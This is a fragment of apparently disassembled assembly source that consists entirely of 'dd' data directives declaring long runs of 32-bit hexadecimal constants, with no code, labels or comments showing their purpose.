		dd 8951A52Eh, 2829C378h, 38E90003h, 3BD3A898h, 3A0D701Dh
		dd 1C40E356h, 16099235h, 0E538CFA5h, 432F15A0h,	0C6F41B6Fh
		dd 211E4700h, 8D5BA791h, 97D003B7h, 1F9AD942h, 9F9C71A8h
		dd 99E1B460h, 0F04331B6h, 7B532EAAh, 9FAB0AACh,	67BCC8E0h
		dd 0C0514068h, 989A1A6Ch, 0DAC21D0Eh, 471820F7h, 23F26A6h
		dd 0A7B153DDh, 0B0898AABh, 0EC5CC080h, 0FC4C9867h, 6DAE1898h
		dd 7A3881h, 0AB7426D9h,	0DEA992AAh, 0C8D85429h,	0ECC1D79Eh
		dd 0B8A22330h, 80A4F1E0h, 0A300B4C8h, 0D26917B9h, 3BF5A843h
		dd 9680C55Bh, 752BDDE3h, 1C31F89Eh, 0ED2D954h, 9300F462h
		dd 0B45DF5E3h, 0D0A50DEh, 0E4DA5885h, 0EC40342Ch, 8C60B5h
		dd 1FF50176h, 295E6ADFh, 958A9F0Eh, 30C344C9h, 94D118C5h
		dd 3AF88CBCh, 91ECE9CDh, 0D88D140Ch, 51C2F807h,	0E49AFBA6h
		dd 86198860h, 0F74C0A80h, 1C2AFC22h, 0EEEB0h, 0DE322399h
		dd 9D27041Ah, 0C3000774h, 1F3A1E1h, 73E0F36h, 24CEB010h
		dd 7E48526Ah, 1A006CC5h, 0C6C7908Fh, 66FD1D0Ch,	0CB04C7BDh
		dd 4CB9E05Ah, 7CFEAA6Eh, 143C94A0h, 8CF440h, 84FD8F0Eh
		dd 5F99DEDBh, 0DCD37801h, 0CC6A1EEEh, 251BF427h, 0C7B13915h
		dd 1D683286h, 0A422C807h, 5C22001Ch, 88206850h,	5600F078h
		dd 16FEE9B3h, 16F3D3Ah,	54A43B51h, 0E1122510h, 2029D1E6h
		dd 28900784h, 0D3167900h, 72909889h, 21B61209h,	0F21C6167h
		dd 75E472ACh, 370FDAE6h, 21D6BE4Fh, 724E6939h, 77CBE8h
		dd 4210F351h, 8DEA3C88h, 0DCA16B26h, 245B24Ch, 6EDFA0D4h
		dd 6660111Dh, 2D5CC3B6h, 72EA4178h, 0E964301Ch,	58190E39h
		dd 0A4DDB0F9h, 44A1638h, 0C869D458h, 3C005BECh,	0FC52BCDFh
		dd 25AB48h, 3A832A5h, 0F0C25D08h, 92E92090h, 20284A71h
		dd 0B90C96DBh, 9329000h, 0F9A8E14Eh, 7E2BB002h,	663D4CA2h
		dd 719D00D8h, 84AE6520h, 470B6495h, 0BB6622EAh,	0C563FA68h
		dd 0ECF00FCh, 0DFC7B667h, 15DB2013h, 0E8294044h, 54965CD0h
		dd 487700C6h, 84F4E39Ah, 630AE514h, 881132F0h, 0A4A1C3h
		dd 44EC0161h, 0D92737Bh, 8293E604h, 18A03957h, 0C4A45Ah
		dd 0FB03AE2Bh, 0E8F36EC4h, 62877800h, 0D4BC0E3Bh, 0ED1105E5h
		dd 496496F7h, 204890B8h, 98034F7Bh, 629B0F71h, 35DE0136h
		dd 0A13AFDEBh, 0F3618066h, 0B2E987B4h, 397325C6h, 2019D418h
		dd 0A521C713h, 18EAD470h, 69E5037Ah, 0C2FD5348h, 68B420B8h
		dd 1411BCB1h, 50D01307h, 7B718179h, 2E4C01Bh, 683CCC00h
		dd 0BDEC3882h, 67C50713h, 0EFF94C49h, 1003298Bh, 8098FEF1h
		dd 0C148A742h, 4A9980B0h, 3D18E5E8h, 95007E9Fh,	0BFB4EC73h
		dd 9226680Ah, 502C4C59h, 8A889B40h, 7BDC0047h, 0D673AF58h
		dd 0A1E25C85h, 0E3003499h, 0FA2F7008h, 299D03D2h, 6EBCE28h
		dd 33DF10E0h, 8C135B03h, 0C2FC029Bh, 835CE003h,	5C75FCF8h
		dd 6854486Bh, 2B411FF3h, 0D40A42C2h, 518DBCh, 3B44579Eh
		dd 50E0A63Eh, 51BD0739h, 6032DA6Ch, 5AFCE1E0h, 1F8934B9h
		dd 414010E3h, 93D4098Eh, 0D8984FF8h, 6EE2B698h,	0D6811E60h
		dd 0FFBA12h, 34A9A608h,	0C4013A54h, 53E16517h, 9D93241Ch
		dd 0DA6DB490h, 13E80004h, 14B854F5h, 0AA12DBFAh, 0C476E0Dh
		dd 0C1D006E0h, 0BC2E3ECh, 9478FA11h, 18AF8820h,	8CF87345h
		dd 0D5B7A602h, 0E125B949h, 7C4D8386h, 33203831h, 9499FCBEh
		dd 18C04E64h, 50B971Bh,	0F2BB2306h, 24F83E2Eh, 0E038A429h
		dd 697CF649h, 6ACB6E01h, 0CFDEC7FAh, 0A82CDC33h, 8E06E2DCh
		dd 9AE5B490h, 0F103B02h, 0E066D47Fh, 890DA6A0h,	8A0480Ch
		dd 7600E4A4h, 9BB463F6h, 0EC1461h, 234A8CA0h, 0A26A1C69h
		dd 27C00C4Ch, 1E308140h, 7C224EC9h, 4C780922h, 5FD29C00h
		dd 412E9228h, 6A6D0042h, 3E713D83h, 20139AA5h, 0C0C789C4h
		dd 0A374D341h, 1F008063h, 3D0E0F1Bh, 0F700DBBCh, 0DA622754h
		dd 2184C66h, 85F4EE3Bh,	8C66AC29h, 0DB929F00h, 8D399860h
		dd 16BBFC5Ah, 0E3F2975h, 4324A078h, 6BAC31B4h, 38003432h
		dd 0F5D28AF6h, 874BBF43h, 833CE832h, 0C878576Ch, 1D1D37E6h
		dd 1BDE352h, 476FA7C5h,	63F47067h, 88C0E22Ah, 219FE118h
		dd 926A08D1h, 19F00068h, 158EFF3Eh, 3D3B9FACh, 0A2CCD045h
		dd 4A83C888h, 9E4C21F1h, 6C81801Fh, 6A89964Ch, 98AB008Ch
		dd 1731CDEh, 0DA4A6353h, 0EC41585Fh, 0C7275B96h, 72DE8442h
		dd 6E3C0938h, 0B5056545h, 0CAF8409Ch, 30E2FB27h, 91397200h
		dd 105FFD28h, 336A4A05h, 31005774h, 0B0D48C48h,	12FF30E9h
		dd 60AC3FD7h, 0F1064140h, 0A57B993Fh, 33FC9038h, 40E90048h
		dd 0FE8E6E50h, 7D00FB7Eh, 144B2CDEh, 38916A41h,	9475202Bh
		dd 4F6F8998h, 0EAF208A1h, 396510A4h, 0A516000Dh, 232DC425h
		dd 0A600A80Eh, 0B3D97BA4h, 81D376h, 0A7DB8711h,	1E756C17h
		dd 0C8A88401h, 2FCC7E18h
		dd 1686D4h, 7C8C78A1h, 13DFDB03h, 0EE9A9600h, 0D46AA541h
		dd 36261E29h, 0C25F83C3h, 70004B4Dh, 6E22F986h,	57CD12h
		dd 59D99BEAh, 0CA606597h, 93F3DC00h, 1E7E3D25h,	1BB8003Ah
		dd 8FA4C835h, 0AE3C84B4h, 175500E4h, 0B28BC162h, 26FF0052h
		dd 6B9010C4h, 334823ABh, 0B5EC74C3h, 73210500h,	5ADB429Ch
		dd 4D7D005Eh, 2B4AAA8Fh, 8E07D8F8h, 7FB9E934h, 30D9C076h
		dd 0F9085108h, 6F0157DAh, 0CAEDFB5Dh, 94C8E98Eh, 1ED10037h
		dd 0C25110BAh, 55009166h, 0EF31C75Fh, 0C0B39B3Ch, 54BEF649h
		dd 0A114297Fh, 856866FCh, 14007C09h, 0BD34C2ADh, 8E2B15FDh
		dd 0DE81B80Bh, 51BC4B63h, 80C5DD9Ch, 0EA5E2608h, 7D63807h
		dd 36C834EDh, 14CAF8h, 0C6D82308h, 0CE1F1F1Ch, 0EB00E46Ch
		dd 9BE76B94h, 0DE3E18B2h, 45A44885h, 891C6Fh, 2D17A88Bh
		dd 70E1143Ah, 7F0CBCA1h, 8A202E9Eh, 0A577CF00h,	366E1060h
		dd 3A0D01D6h, 7CD9B07Dh, 6F50808Dh, 0B1E8C9CFh,	67C60018h
		dd 4A927548h, 0D50F19A8h, 986ECDB0h, 0C2B571h, 0AD011F67h
		dd 0BFC95066h, 39C1625h, 0D8984036h, 0A807B7h, 2A116EC3h
		dd 93BB293Ah, 0AFB15460h, 3B89F610h, 0EE80BA92h, 5EAA18FAh
		dd 76770E75h, 456D8803h, 0A0C26040h, 2CB5DE5h, 24A1BB50h
		dd 1C40D10Dh, 25488586h, 4B66C754h, 0DAA66DE0h,	115A21C6h
		dd 7955080Ch, 6699006Ah, 76651882h, 8900E0ABh, 423FE111h
		dd 0A235C67h, 0CF4D493Dh, 6A5787C8h, 66700C7Fh,	591E2D7Fh
		dd 9FDE0D80h, 0D948EF05h, 37A6C840h, 0F577B58h,	8AE850FEh
		dd 616430EAh, 0C4AFCE36h, 26114C86h, 431FF09Bh,	52270082h
		dd 0B021A1Bh, 0DDDC6601h, 16066B8Ah, 32D8F8h, 6CE0CCEEh
		dd 4C27EBC3h, 0C1072892h, 0B190D6FFh, 0B8329560h, 884F3DF3h
		dd 4A37A280h, 55B91CDh,	0C1616B07h, 0D87F4860h,	34E278D1h
		dd 47E8D69Ch, 0A091F790h, 476876B9h, 21BA4200h,	25AE4AD2h
		dd 0A03049D9h, 0C1FB9786h, 330031E8h, 6F342BCDh, 0ACC327h
		dd 9910CF16h, 15F85F96h, 0B0894230h, 148D9C4h, 4A772B0Eh
		dd 703AF12Ah, 0A5EAB304h, 696B70Eh, 0C8D0060h, 3D1D5Bh
		dd 0A42FB274h, 0DA9A9D8Ch, 8933AC00h, 0BF4FF62Ch, 0F726007Bh
		dd 575EA002h, 6A0091DDh, 0F2013019h, 6D22A5h, 0FF85B527h
		dd 9243D9F5h, 75CCA000h, 86E8DC8Eh, 5F42002Ch, 5D548C2Ah
		dd 4D030D48h, 3EF9ADF4h, 1602B899h, 316707EDh, 4096B2DDh
		dd 9AA552Ch, 292E8A01h,	6336FD86h, 14C54187h, 0E7004E56h
		dd 627EEFCAh, 0FEE30700h, 9847FF1Fh, 0E028C587h, 6F740099h
		dd 0C9A3B048h, 677EBD00h, 8503E5CEh, 3F9840h, 0E011F361h
		dd 45BDC1B9h, 552B4B00h, 92A68F19h, 0E67467h, 4149F888h
		dd 84D8B053h, 0E3A5F500h, 0E8EC715Fh, 4F2900C8h, 216E9A4Dh
		dd 0D30E6411h, 80D5A3FCh, 0F9F626DBh, 0F8E800A8h, 480D0AE6h
		dd 0F305E04h, 0E42B5066h, 26C40F96h, 68461B83h,	0E803185Bh
		dd 9BDEED87h, 0A52C006Bh, 1FB68958h, 0E9004186h, 0C982FCE7h
		dd 0A21CFAh, 0C003ED18h, 96C8F279h, 83B45D3Fh, 9102A81Bh
		dd 4D501C51h, 6BF640A1h, 0D8B98085h, 0BA7A7D00h, 0E1BE479Dh
		dd 39F3016Eh, 530EE342h, 494083ADh, 0A367EF5Dh,	0C55A98E8h
		dd 0AAFCEFE7h, 9DCCF366h, 0BB4A5005h, 8F0F0CBFh, 9E387D60h
		dd 88DDC800h, 9AD4C722h, 0E91A3DD0h, 4A470380h,	6E4BEF32h
		dd 16B68800h, 0E666EC23h, 0A84D6054h, 55F6A067h, 9893B800h
		dd 7FFD5EFCh, 309603A8h, 327CF297h, 0F55DFFC0h,	0D309C900h
		dd 2A65E482h, 6FD8A062h, 2A31052h, 0E1E80479h, 12C073E0h
		dd 0F85CB706h, 75523E35h, 0C350AB00h, 0BB58882Bh, 0C06957Ah
		dd 13839EE5h, 0A3D07BE9h, 9D88C024h, 5DEE03C3h,	0F9267731h
		dd 0F36DE0D0h, 0DD7890A8h, 62C58100h, 5D8D23EFh, 5F191CE2h
		dd 60013DDCh, 0E17CDFFAh, 609F4653h, 0F53D5C00h, 0CCA80FBCh
		dd 39B000F9h, 38954875h, 79C122ABh, 53836620h, 9A048980h
		dd 82EFF90Eh, 8717AC00h, 818EBFFEh, 59B9626Ah, 30483CFBh
		dd 3D505FBAh, 6407EEE2h, 0B748EA95h, 1EC6BC1Ah,	708C00C1h
		dd 7578368Fh, 55046935h, 95B4FD80h, 44BA508Ch, 0E660544Dh
		dd 1458FDA1h, 0E0BE018Fh, 0AD1BAE22h, 82B8CB1Dh, 9BFEA30Eh
		dd 0D625600h, 0E6558DD0h, 46FA0A53h, 80B4DB50h,	0B844EEB9h
		dd 0AF018DC9h, 0D2B5D4D6h, 0C8205D7Fh, 94303B2Ah, 0CF960E9Dh
		dd 0D0CE41E7h, 0A0461227h, 17AD6848h, 2F332901h, 609BA5A7h
		dd 88038448h, 3B0F37C1h, 60890C11h, 0C7D9A0E4h,	6D3E1354h
		dd 82F00CACh, 0A622A1E0h, 8C195451h, 0D15F395Ch, 42890B00h
		dd 956F6EFBh, 69B085EAh, 0DF017579h, 0BDFAA6C7h, 90505D97h
		dd 0EFE52Ch, 0B2B5AA41h, 0D0893E6Eh, 9D82F20Ch,	12C2A1B3h
		dd 21942318h, 803B5EECh, 0E4BDD1B1h, 2D3228Fh, 0C31A9AA1h
		dd 8C82D026h, 0B1255CE3h, 6F057000h, 7D2508A0h,	4B3800F7h
		dd 0C7AF89B3h, 4F3F98E9h, 0C1D0481Ah, 0E3E6442Dh, 0C5AE051h
		dd 9EF4C450h, 47BF0020h, 0C9DA2786h, 2D7128D5h,	0E258F902h
		dd 0E026C637h, 0A8870287h, 2BBD94h, 0EE89F229h,	0FBAE9815h
		dd 50099600h, 51AD253h,	147C0978h, 5016759Dh, 80A7D23Fh
		dd 8849F2EEh, 0C2B89BEBh, 3B071698h, 1C54E840h,	0DEA2C4A8h
		dd 0A6B5901h, 4A36BC6Dh, 7738808Ah, 54EB61C4h, 0E231801Bh
		dd 8D021DD8h, 0CD640F98h, 78A0B3F0h, 0CA401E50h, 1A93158h
		dd 0BB5A4A56h, 3071D9h,	0DB512244h, 748453Ah, 9FA1F17Ch
		dd 0C8C1C45h, 87D8A1A3h, 6FC800CEh, 0E1C06250h,	0A84CC88h
		dd 9B1A3AB9h, 0D3D4EF00h, 4162B323h, 0ED456F09h, 0A3A782FFh
		dd 866F4h, 35A14CCAh, 0C97656B4h, 0B58FAD05h, 2098881Bh
		dd 7833EB4Ah, 0F1A79E1Eh, 805FFBB1h, 0B2BDF91h,	0EBF63Ah
		dd 754E9562h, 2359E91Bh, 0DB97301h, 4A334356h, 83A66040h
		dd 10F88849h, 0C091D0A9h, 38007425h, 0EEC11315h, 125C714Bh
		dd 686ED8Ch, 390F7F7Ch,	830BD701h, 41E6F739h, 2CBAD8DFh
		dd 2F4D03F4h, 669746BCh, 415263A1h, 2240C2DCh, 89E982E4h
		dd 8DF8906Fh, 0ADAE00C3h, 0F544C19Dh, 1A00D4D1h, 0D2E4644Ah
		dd 0CF63515Ch, 0C0BDB8B1h, 0EACB151Dh, 0DF009076h, 46459F56h
		dd 99B14C0Fh, 8918AB78h, 0B491C944h, 4B1FD046h,	390044B1h
		dd 8C1B0921h, 0EC4741Eh, 66521759h, 0AA809700h,	88525C6Fh
		dd 886C2684h, 0A9777340h, 0F6500B1h, 0AEC18763h, 0B50030BFh
		dd 0DF50164Fh, 9E6A6FAh, 9EF580Bh, 9860CC1Ah, 9D04B1F5h
		dd 0F88BC30Ah, 619488h,	6EFC01FAh, 7C17701Ah, 0D3296B02h
		dd 475087EDh, 0F14CE0E0h, 4A52D6CFh, 1B4100A0h,	0CB309980h
		dd 8D0E0079h, 0C952CF59h, 0A350ACABh, 8702C4BCh, 4F86A6B9h
		dd 8C842062h, 29003EA5h, 27BAC2F4h, 1C0955Ch, 0C8B29FA0h
		dd 344A01F7h, 0F9002288h, 0C5A9693Bh, 5DAFA5CAh, 9E850087h
		dd 614803D1h, 397C488Eh, 19C04EFEh, 0F2F543D0h,	0D920279h
		dd 0AB1938BBh, 0E94C50C6h, 49F0106Ch, 9F60400h,	33D4D8C1h
		dd 5B227890h, 0C95D115Fh, 0D95A1518h, 8FCE07A0h, 58F0EAA9h
		dd 0BA5596CFh, 4AF82AA4h, 7872C4h, 0C7145D0Ah, 9221E6DCh
		dd 0EC8B9F24h, 0F7EF8605h, 5F32A0C7h, 0F5E22083h, 778CE7C5h
		dd 80360004h, 6BCD0932h, 6E24D3E2h, 3872042h, 19600EE4h
		dd 0E6C37550h, 523F0243h, 0AAE35B5h, 9F131846h,	0C4459C97h
		dd 51C0F9B4h, 215F49h
		dd 551ACD19h, 5B33C55Eh, 0F71D5D14h, 13E4898Ch,	44FAE22Ch
		dd 41DB0E80h, 0A87E39CEh, 6BE60778h, 0D0BC74D3h, 0E5197CBBh
		dd 4C6D2200h, 0FFAD6F34h, 0A063E752h, 0DC5D5271h, 8BB37910h
		dd 0AC24B1EDh, 0FD5157F0h, 6D802180h, 8AD536E9h, 0B20DD007h
		dd 5C303B10h, 988FE5BBh, 888702CCh, 436ACD66h, 0EFA1908Ch
		dd 3CE47F52h, 40FF806Bh, 5E92BFEBh, 0C738001Eh,	0A3FCF104h
		dd 1918D178h, 13A1649Bh, 61880024h, 9E5FD7B2h, 0FC9443D6h
		dd 5AF08967h, 6B0D181Eh, 0F41074D7h, 90306633h,	0CAFC4965h
		dd 28510F4Dh, 24966029h, 0E10DC28Ch, 238F5480h,	21289A1h
		dd 7C9882CEh, 0BD59C019h, 93BE020Ah, 0CBD91200h, 0B9C348AEh
		dd 8C589984h, 5A619596h, 5DDBF90Eh, 6BC62090h, 0F8706513h
		dd 0DE791796h, 0FFB8063Fh, 773F815Dh, 69808022h, 9A2517FAh
		dd 29D5058Fh, 82EB8A43h, 0B4A41580h, 58A34Bh, 4E643225h
		dd 25984A54h, 5090B566h, 2A0258CAh, 1BA1A2E9h, 30E85334h
		dd 73BCF420h, 0F0805099h, 78ABE038h, 0EADF0017h, 0ADDEA72Dh
		dd 0DC0279E1h, 73835E26h, 0A4E85189h, 0A40110Ch, 80B895D0h
		dd 1F5780BEh, 0EBA2A8AAh, 0D9D100C6h, 0A5BC6A42h, 2B0A6CE2h
		dd 18974875h, 56001213h, 0F1E30EFBh, 0D8200FEh,	0CE92B8Eh
		dd 4AB87628h, 0D4CBEF0Ah, 0B300584Ah, 37178CF0h, 2AE50093h
		dd 206E8547h, 90039A2h,	9A7EF5E9h, 9812A351h, 0BBE52544h
		dd 4A362422h, 0A8734405h, 1CDAE3E1h, 3E7261h, 0A78E1155h
		dd 0F300CD16h, 777FC23Ah, 9E98BD6h, 0E74D1DB8h,	0B800781Ah
		dd 32674E1Bh, 0C1193101h, 0E238AE3Fh, 4A02E422h, 48F3F2D3h
		dd 9D0020C6h, 89F6DF3Bh, 1255E1Ah, 0D4AE4557h, 30B4E6EDh
		dd 509CFF90h, 78E45B44h, 0F06C58C8h, 80D1DA87h,	44CF0D08h
		dd 32861C99h, 1E314BF8h, 6151F6h, 896B30A1h, 63AC780h
		dd 76B48399h, 0D84A8560h, 2CD383BBh, 28FC611Eh,	0C72F3A8h
		dd 7E01F83Dh, 0B68B08A4h, 5C70F41Fh, 0B4ECE02Ch, 534F9604h
		dd 0F03A0E00h, 0AB24561Bh, 4FC2DC1Fh, 0BEB0A00Fh, 0D5CE87h
		dd 2AB77EE1h, 3FAEA925h, 4B11E200h, 42CD8D2Eh, 9C310F0Fh
		dd 3805BED5h, 616C00E6h, 62DC17AAh, 8427F803h, 0D06AF1FAh
		dd 7D9A717Ch, 25EC4Ah, 0B148E413h, 0F07F7B72h, 35117400h
		dd 0A91E600Bh, 82920071h, 0D4FE4251h, 0BD7532AAh, 22F91900h
		dd 0CA59B8F5h, 0AEE70067h, 23F75B09h, 0E3009C69h, 0D1152213h
		dd 0EA18Ch, 111EF2FDh, 54B927C1h, 0DF1FCBF0h, 594C300Ah
		dd 28B7A01Dh, 34AA0Eh, 43E318C4h, 58D37E1Ch, 0F3966100h
		dd 65E15D2h, 909CA351h,	2A18A6h, 98D852Bh, 62BCDDC5h, 24050100h
		dd 0DCB52192h, 52910DBDh, 0EC58997Fh, 6607822Ch, 38390E84h
		dd 806FDAF0h, 1074121Ch, 91C00019h, 0DBB8FDF8h,	0B3B990A0h
		dd 0E49A023Dh, 0AAC0C711h, 720E8A72h, 7C4277ABh, 0A60C1F6h
		dd 0D4C9CE20h, 0AD6F1350h, 0F2BB8730h, 80420215h, 903361E0h
		dd 0C0E5D57Ch, 2A841241h, 30002CF2h, 0DC21AD70h, 0A66492Dh
		dd 0D26E0F0Ah, 8845018Dh, 0C8876813h, 6F0F279Bh, 0E0086C66h
		dd 7A675860h, 3F4C1871h, 15798165h, 96800B54h, 0BF0009DFh
		dd 60B18712h, 43980029h, 0FD58914h, 783BCAE2h, 0A0EC36A7h
		dd 75A50CF8h, 63516613h, 18B1FB60h, 0F889C9C1h,	6D8D1C86h
		dd 0E35D40A2h, 107006E4h, 0C0F67628h, 0C500F9F8h, 0F77FC8A1h
		dd 31F2FBD4h, 8450A763h, 9F4EF851h, 4FD98300h, 5DA104E1h
		dd 95900DFh, 648237E4h,	9A13E03Eh, 5B017654h, 0FCAA5502h
		dd 0F433E4D0h, 85671C07h, 4B4D1C1Bh, 3F89F7BDh,	49F4D483h
		dd 0EC2959E1h, 0B18D99Dh, 8E388607h, 86E6084h, 0C94ED8F5h
		dd 0EA5DA800h, 0F613C6D2h, 3FBD073Ah, 70D4ED84h, 0DFD441Bh
		dd 24A9DD0Ch, 0C57393Ch, 2BB183CDh, 151EA610h, 0EC406EA2h
		dd 423167D2h, 0B2AA01B8h, 0BD18F73Fh, 0F2C89E30h, 0D461D507h
		dd 164EF5D0h, 5351CF5Eh, 0E0E0E72Dh, 2A602555h,	0CBD60319h
		dd 0E6503E83h, 7D3A1E11h, 2083060h, 28C69B33h, 1DA1FB83h
		dd 834E9D19h, 0DC266D0h, 4C253910h, 0C803E88h, 696EB6EAh
		dd 9DD40B82h, 0F00D142h, 0F9A38457h, 0F01D30A0h, 0B7ABB00h
		dd 0FF2E4D08h, 5AD30023h, 693391B1h, 1003F7E6h,	9E7F57C1h
		dd 3CC00CD9h, 37713DF2h, 0A71188h, 0DE32C546h, 880D6D5Ch
		dd 73D9A405h, 0CC408086h, 68A5114Ch, 134FECCAh,	7E2E706h
		dd 6062FB30h, 0EE0A5ECCh, 81B13601h, 2EB80DAh, 0B2CD904Dh
		dd 0B78FC850h, 0E05F2BC5h, 0A4830D84h, 0DECE2021h, 30FCE201h
		dd 52F5089Ch, 80F89053h, 1FC2E5AAh, 216F17h, 0FA4639CDh
		dd 2C12C406h, 444008F5h, 0DAA9735Fh, 9781004Ch,	7B23BE5Ah
		dd 0B8243BF7h, 0F2006CD2h, 99E1AAC4h, 35F92AACh, 49300084h
		dd 0B0CABBB6h, 0B5002B7Dh, 157DE1Ah, 189BE0E3h,	0B03E4EBCh
		dd 43EEECA1h, 8438EF67h, 0C19A16h, 0CEE626D2h, 0A5DF5463h
		dd 296B900h, 4B7B91B5h,	822F0095h, 0CD67E32Eh, 0B40031E1h
		dd 0EC8F0D92h, 612808A3h, 0D69A499Ch, 0DD9981C1h, 9B1D4399h
		dd 80E5C20h, 53B91ABEh,	32D09A06h, 385EE29h, 194A09A3h
		dd 0B82467C2h, 12433084h, 0AE54806Fh, 97DA005Ch, 15F49A47h
		dd 5204B905h, 1FA68C4Bh, 5C0E8888h, 7C54B953h, 837500AEh
		dd 0D698EE54h, 76073BD1h, 0F45FC388h, 18241019h, 0C095000Ch
		dd 0C8FC86E1h, 9B487017h, 892818F0h, 4403D5D9h,	0B600ED34h
		dd 446D3260h, 2756BDh, 0E7258CFCh, 41A51FA4h, 997DB51Ch
		dd 0D12D3644h, 889B1898h, 42782209h, 19B40C00h,	160DEAE0h
		dd 5CEC4980h, 84F6A500h, 769B4ADDh, 0F5BD9100h,	0F3856A14h
		dd 3166137Ah, 0FA084452h, 0F120900Dh, 5000BAE6h, 0ED580782h
		dd 3DAD2EEh, 849DD1A7h,	0C2C1B377h, 80944460h, 0FC95B110h
		dd 883D3C88h, 0C09DD0Ah, 99FFA1E2h, 10330E34h, 0BFDC0300h
		dd 59D66734h, 0EA87FC00h, 0F6337AB4h, 0F570CF3h, 0E0C9CD1Bh
		dd 550AA893h, 8AB3433h,	194F840Ch, 578900CBh, 0EC2C0AE9h
		dd 3916DD1Fh, 1203D7B6h, 0FB40E5E4h, 0A440BD82h, 0A3D85F15h
		dd 1C210159h, 357C0E36h, 3F74F02Dh, 54C89E02h, 683C4DB1h
		dd 9182EC2Ch, 20E50750h, 26FE432h, 80600F7Ch, 0C175815Ch
		dd 0F9290650h, 7196D534h, 5C589A24h, 0F31C8441h, 59121823h
		dd 0E33C40E2h, 0EC57BA6Ch, 3BE61C0Bh, 0BA1C3B98h, 10691185h
		dd 2AE37Bh, 0D912CE41h,	9F939D5Fh, 4E7CB501h, 55C27635h
		dd 93F57D0h, 0C52FAECDh, 53AFCF80h, 2B02CB4Bh, 2A1AB6DDh
		dd 8EA04266h, 1E92858h,	0A2DBCAA5h, 88E4300Fh, 0AF5F1D00h
		dd 9CD6B672h, 31F7007Ah, 3929C3E3h, 0D257EF3Fh,	0AF84098Ch
		dd 4AC810F6h, 445200B1h, 9A7B125Bh, 0BD005C75h,	4DED8ADBh
		dd 300F7392h, 0DCE1CED5h, 8949B750h, 0A6007034h, 7603A780h
		dd 246E6823h, 4060F4F6h, 344FCBF9h, 8E21501h, 22F8BF13h
		dd 1637BC20h, 33E5FDFAh, 1CAD5E0h, 0EBCA9120h, 5A1C1E85h
		dd 835E806Ah, 7E372A47h, 0D407B100h, 5C82D793h,	8AD0A895h
		dd 539B00DAh, 19033A0Bh, 0D4932EA6h, 0E099591h,	0E7581FBh
		dd 7DAF40F8h, 91B6D24Bh, 0D8BD00D4h, 0C21E04A4h, 3E5A3A00h
		dd 0BF897866h, 0B72626F9h, 392E0040h, 0FA0AB23Bh, 38A2C60Ah
		dd 0A7008C9Eh, 0B1552F9Dh, 0A5509049h, 0C9F42690h, 0B04A6C02h
		dd 0D8105521h, 0BE1829BEh, 2B36198Dh, 0E31BC8EFh, 0C474BF48h
		dd 0C4C44285h
		dd 0EC189Ch, 0BB8B0F72h, 90223DADh, 0E5BC6201h,	3FA7918Fh
		dd 0D611D837h, 0A0F13CDh, 0B842F839h, 0C54C80F7h, 58265503h
		dd 0D6224866h, 21DB8430h, 56AA660h, 8190141Ch, 4BE08C71h
		dd 0D3ECAC16h, 3E867020h, 8F74E9h, 0DD383DC7h, 56D2E236h
		dd 0DAF5F718h, 2F24551h, 85DB2F31h, 0CC4691C7h,	0D8847498h
		dd 0B98B9C1Ch, 0C9E4900h, 3AFFE7F3h, 1B00D186h,	43F07A3h
		dd 1750A9D2h, 0B32A5354h, 0E249B0FEh, 186C9DE4h, 0A1007C3Eh
		dd 847573CFh, 4C340DE9h, 0F4892461h, 45714084h,	742172E2h
		dd 0A453BE85h, 8B479954h, 385FB03Ah, 7B250A00h,	9B5E53ECh
		dd 82090724h, 0D27AA83Ah, 50440434h, 0BD79D500h, 4275E89Eh
		dd 0CA2D043Eh, 0FD7056h, 8514613Bh, 4AD3A99h, 83C07D80h
		dd 64CA78B8h, 0B4F92204h, 5CC86AE4h, 0D4B7004Bh, 781D70Dh
		dd 2E4A9286h, 3D251861h, 104C0912h, 0C0E48148h,	0C8F27383h
		dd 3A0900F8h, 149AE65Dh, 0D7072E1Fh, 9EE5C1FCh,	129BD323h
		dd 8A630F31h, 0F138A4h,	3CF0B9A7h, 0CA3D68h, 897B02A5h
		dd 6E2AE4D2h, 15363900h, 21057459h, 0DBEBD8h, 0BD066FF9h
		dd 1035B28Ah, 6A946300h, 29252349h, 0CA97020Fh,	22AAC330h
		dd 96137466h, 0F4200D0Bh, 0BFF50D5h, 0E1C3EC21h, 651B1C83h
		dd 6A09B1D7h, 71E400B1h, 0DD301A7h, 4C187FDFh, 9F05DCA3h
		dd 127C73E3h, 6440CBFAh, 0C31273B8h, 65EE1CFDh,	293EE6E5h
		dd 0B154A828h, 2DF20010h, 58FC5480h, 2CE79201h,	0D3362EAAh
		dd 40E62035h, 8233A52Ch, 0CA0254E4h, 9AE1D171h,	18206C13h
		dd 8935FAF8h, 5273B406h, 8E44513h, 0D830B613h, 5B575EDh
		dd 5721F4A2h, 1CA8405Bh, 7A637310h, 67461809h, 5DC4009Ch
		dd 16485B94h, 61F366E4h, 261A86F4h, 80BC4894h, 163D55CAh
		dd 3BA400C6h, 4FAC9874h, 69C977B5h, 0DE881183h,	0F548D4h
		dd 8D9D3084h, 0B915E106h, 0A3388304h, 9CC14CDAh, 86023219h
		dd 4503206Ch, 0A9480495h, 52FAFA43h, 74CE00B0h,	314E40ECh
		dd 230FC6CCh, 0A073B015h, 3610CDFAh, 0A602794h,	0A9D51418h
		dd 0CE44D8B0h, 418D3FCDh, 0E7D66A80h, 4AA2C049h, 0C864195Ch
		dd 7C838069h, 0A5FBAC20h, 4596AA00h, 0A180542Eh, 71651732h
		dd 0BD670B3Bh, 0C90E80Bh, 9F0317F6h, 0C829EB58h, 8059B875h
		dd 4470920Bh, 12036254h, 0D92E88EFh, 0D151E87Eh, 54B3097Ah
		dd 884C2353h, 3716051Dh, 0F4E0DBD9h, 7D11C877h,	70947164h
		dd 8D4AB480h, 0AD10A3h,	0F79A7AC7h, 664F9808h, 83942B59h
		dd 1D7F6AEh, 7C5E3F41h,	0E8701648h, 3402A367h, 0D22AAE55h
		dd 64F48299h, 11487195h, 0DEA2013Ch, 0B9CA3167h, 0FFA07038h
		dd 0D2A08CBh, 840090B8h, 5EF26750h, 76A0C2B9h, 92B30187h
		dd 5199CE19h, 1BF8C88Ah, 674F5F00h, 0A8128EFBh,	0EF1500D6h
		dd 912D5078h, 5F000F94h, 31ACB605h, 3173C2F4h, 4F586633h
		dd 646184F8h, 0B9835F45h, 286BE878h, 0C73E03E5h, 15FF657Ch
		dd 0D2193100h, 3418D15Eh, 0FD57009Ah, 1B8A28FEh, 5F015B61h
		dd 0D2804F53h, 0B2E00E67h, 5E39C005h, 0EF8615F0h, 1C7A8DFEh
		dd 430FB626h, 0A4B16030h, 0FA26187Dh, 0DE80B6BAh, 9A712503h
